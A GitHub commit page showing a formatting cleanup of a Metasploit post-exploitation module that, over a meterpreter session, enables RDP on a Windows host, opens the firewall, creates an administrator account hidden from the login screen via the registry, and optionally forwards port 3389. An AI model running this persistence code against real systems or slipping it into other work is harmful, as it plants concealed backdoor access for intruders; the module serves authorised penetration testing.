Skip to content

Commit 33f2ebc

Browse files
busterbbusterb
committed
code cleanup
1 parent 58e332c commit 33f2ebc

File tree

1 file changed

+50
-46
lines changed

1 file changed

+50
-46
lines changed

‎modules/post/windows/manage/enable_rdp.rb

Lines changed: 50 additions & 46 deletions
Original file line numberDiff line numberDiff line change
@@ -10,33 +10,43 @@ class MetasploitModule < Msf::Post
1010
include Msf::Post::Windows::Priv
1111
include Msf::Post::File
1212

13-
def initialize(info={})
14-
super( update_info( info,
15-
'Name' => 'Windows Manage Enable Remote Desktop',
16-
'Description' => %q{
17-
This module enables the Remote Desktop Service (RDP). It provides the options to create
18-
an account and configure it to be a member of the Local Administrators and
19-
Remote Desktop Users group. It can also forward the target's port 3389/tcp.},
20-
'License' => BSD_LICENSE,
21-
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
22-
'Platform' => [ 'win' ],
23-
'SessionTypes' => [ 'meterpreter' ]
24-
))
13+
def initialize(info = {})
14+
super(
15+
update_info(
16+
info,
17+
'Name' => 'Windows Manage Enable Remote Desktop',
18+
'Description' => %q{
19+
This module enables the Remote Desktop Service (RDP). It provides the options to create
20+
an account and configure it to be a member of the Local Administrators and
21+
Remote Desktop Users group. It can also forward the target's port 3389/tcp.},
22+
'License' => BSD_LICENSE,
23+
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
24+
'Platform' => [ 'win' ],
25+
'SessionTypes' => [ 'meterpreter' ]
26+
)
27+
)
2528

2629
register_options(
2730
[
2831
OptString.new('USERNAME', [ false, 'The username of the user to create.' ]),
2932
OptString.new('PASSWORD', [ false, 'Password for the user created.' ]),
30-
OptBool.new( 'ENABLE', [ false, 'Enable the RDP Service and Firewall Exception.', true]),
31-
OptBool.new( 'FORWARD', [ false, 'Forward remote port 3389 to local Port.', false]),
32-
OptInt.new( 'LPORT', [ false, 'Local port to forward remote connection.', 3389])
33-
])
33+
OptBool.new('ENABLE', [ false, 'Enable the RDP Service and Firewall Exception.', true]),
34+
OptBool.new('FORWARD', [ false, 'Forward remote port 3389 to local Port.', false]),
35+
OptInt.new('LPORT', [ false, 'Local port to forward remote connection.', 3389])
36+
]
37+
)
3438
end
3539

3640
def run
37-
if datastore['ENABLE'] or (datastore['USERNAME'] and datastore['PASSWORD'])
38-
cleanup_rc = store_loot("host.windows.cleanup.enable_rdp", "text/plain", session,"" ,
39-
"enable_rdp_cleanup.rc", "enable_rdp cleanup resource file")
41+
if datastore['ENABLE'] || (datastore['USERNAME'] && datastore['PASSWORD'])
42+
cleanup_rc = store_loot(
43+
"host.windows.cleanup.enable_rdp",
44+
"text/plain",
45+
session,
46+
"",
47+
"enable_rdp_cleanup.rc",
48+
"enable_rdp cleanup resource file"
49+
)
4050

4151
if datastore['ENABLE']
4252
if is_admin?
@@ -46,9 +56,9 @@ def run
4656
print_error("Insufficient privileges, Remote Desktop Service was not modified")
4757
end
4858
end
49-
if datastore['USERNAME'] and datastore['PASSWORD']
59+
if datastore['USERNAME'] && datastore['PASSWORD']
5060
if is_admin?
51-
addrdpusr(datastore['USERNAME'], datastore['PASSWORD'],cleanup_rc)
61+
addrdpusr(datastore['USERNAME'], datastore['PASSWORD'], cleanup_rc)
5262
else
5363
print_error("Insufficient privileges, account was not be created.")
5464
end
@@ -65,49 +75,48 @@ def enablerd(cleanup_rc)
6575
key = 'HKLM\\System\\CurrentControlSet\\Control\\Terminal Server'
6676
value = "fDenyTSConnections"
6777
begin
68-
v = registry_getvaldata(key,value)
78+
v = registry_getvaldata(key, value)
6979
print_status "Enabling Remote Desktop"
7080
if v == 1
7181
print_status "\tRDP is disabled; enabling it ..."
72-
registry_setvaldata(key,value,0,"REG_DWORD")
73-
file_local_write(cleanup_rc,"reg setval -k \'HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\' -v 'fDenyTSConnections' -d \"1\"")
82+
registry_setvaldata(key, value, 0, "REG_DWORD")
83+
file_local_write(cleanup_rc, "reg setval -k \'HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\' -v 'fDenyTSConnections' -d \"1\"")
7484
else
7585
print_status "\tRDP is already enabled"
7686
end
77-
rescue::Exception => e
87+
rescue StandardError => e
7888
print_status("The following Error was encountered: #{e.class} #{e}")
7989
end
8090
end
8191

82-
8392
def enabletssrv(cleanup_rc)
8493
service_name = "termservice"
8594
srv_info = service_info(service_name)
8695
begin
8796
print_status "Setting Terminal Services service startup mode"
8897
if srv_info[:starttype] != START_TYPE_AUTO
8998
print_status "\tThe Terminal Services service is not set to auto, changing it to auto ..."
90-
unless (service_change_config(service_name, {:starttype => "START_TYPE_AUTO"}) == Windows::Error::SUCCESS)
99+
unless service_change_config(service_name, starttype: "START_TYPE_AUTO") == Windows::Error::SUCCESS
91100
print_error("\tUnable to change start type to Auto")
92101
end
93-
file_local_write(cleanup_rc,"execute -H -f cmd.exe -a \"/c sc config termservice start= disabled\"")
94-
if (service_start(service_name) == Windows::Error::SUCCESS)
102+
file_local_write(cleanup_rc, "execute -H -f cmd.exe -a \"/c sc config termservice start= disabled\"")
103+
if service_start(service_name) == Windows::Error::SUCCESS
95104
print_good("\tRDP Service Started")
96105
end
97-
file_local_write(cleanup_rc,"execute -H -f cmd.exe -a \"/c sc stop termservice\"")
106+
file_local_write(cleanup_rc, "execute -H -f cmd.exe -a \"/c sc stop termservice\"")
98107
else
99108
print_status "\tTerminal Services service is already set to auto"
100109
end
101-
#Enabling Exception on the Firewall
110+
# Enabling Exception on the Firewall
102111
print_status "\tOpening port in local firewall if necessary"
103112
cmd_exec('netsh', 'firewall set service type = remotedesktop mode = enable', 30)
104-
file_local_write(cleanup_rc,"execute -H -f cmd.exe -a \"/c 'netsh firewall set service type = remotedesktop mode = enable'\"")
105-
rescue::Exception => e
113+
file_local_write(cleanup_rc, "execute -H -f cmd.exe -a \"/c 'netsh firewall set service type = remotedesktop mode = enable'\"")
114+
rescue StandardError => e
106115
print_status("The following Error was encountered: #{e.class} #{e}")
107116
end
108117
end
109118

110-
def addrdpusr(username, password,cleanup_rc)
119+
def addrdpusr(username, password, cleanup_rc)
111120
print_status "Setting user account for logon"
112121
print_status "\tAdding User: #{username} with Password: #{password}"
113122
begin
@@ -139,16 +148,16 @@ def addrdpusr(username, password,cleanup_rc)
139148
end
140149

141150
if user_added
142-
file_local_write(cleanup_rc,"execute -H -f cmd.exe -a \"/c net user #{username} /delete\"")
151+
file_local_write(cleanup_rc, "execute -H -f cmd.exe -a \"/c net user #{username} /delete\"")
143152
print_status "\tAdding User: #{username} to local group '#{rdu}'"
144-
cmd_exec("cmd.exe","/c net localgroup \"#{rdu}\" #{username} /add")
153+
cmd_exec("cmd.exe", "/c net localgroup \"#{rdu}\" #{username} /add")
145154

146155
print_status "\tHiding user from Windows Login screen"
147156
hide_user_key = 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList'
148-
registry_setvaldata(hide_user_key,username,0,"REG_DWORD")
149-
file_local_write(cleanup_rc,"reg deleteval -k HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Winlogon\\\\SpecialAccounts\\\\UserList -v #{username}")
157+
registry_setvaldata(hide_user_key, username, 0, "REG_DWORD")
158+
file_local_write(cleanup_rc, "reg deleteval -k HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Winlogon\\\\SpecialAccounts\\\\UserList -v #{username}")
150159
print_status "\tAdding User: #{username} to local group '#{admin}'"
151-
cmd_exec("cmd.exe","/c net localgroup #{admin} #{username} /add")
160+
cmd_exec("cmd.exe", "/c net localgroup #{admin} #{username} /add")
152161
print_status "You can now login with the created user"
153162
else
154163
print_error("Account could not be created")
@@ -157,17 +166,12 @@ def addrdpusr(username, password,cleanup_rc)
157166
print_error("\t#{l.chomp}")
158167
end
159168
end
160-
rescue ::Exception => e
169+
rescue StandardError => e
161170
print_status("The following Error was encountered: #{e.class} #{e}")
162171
end
163172
end
164173

165174
def check_user(user)
166-
output = cmd_exec('cmd.exe', '/c net user')
167-
if output.include?(user)
168-
return true
169-
end
170-
171-
false
175+
cmd_exec('cmd.exe', '/c net user').include?(user)
172176
end
173177
end

0 commit comments

Comments
 (0)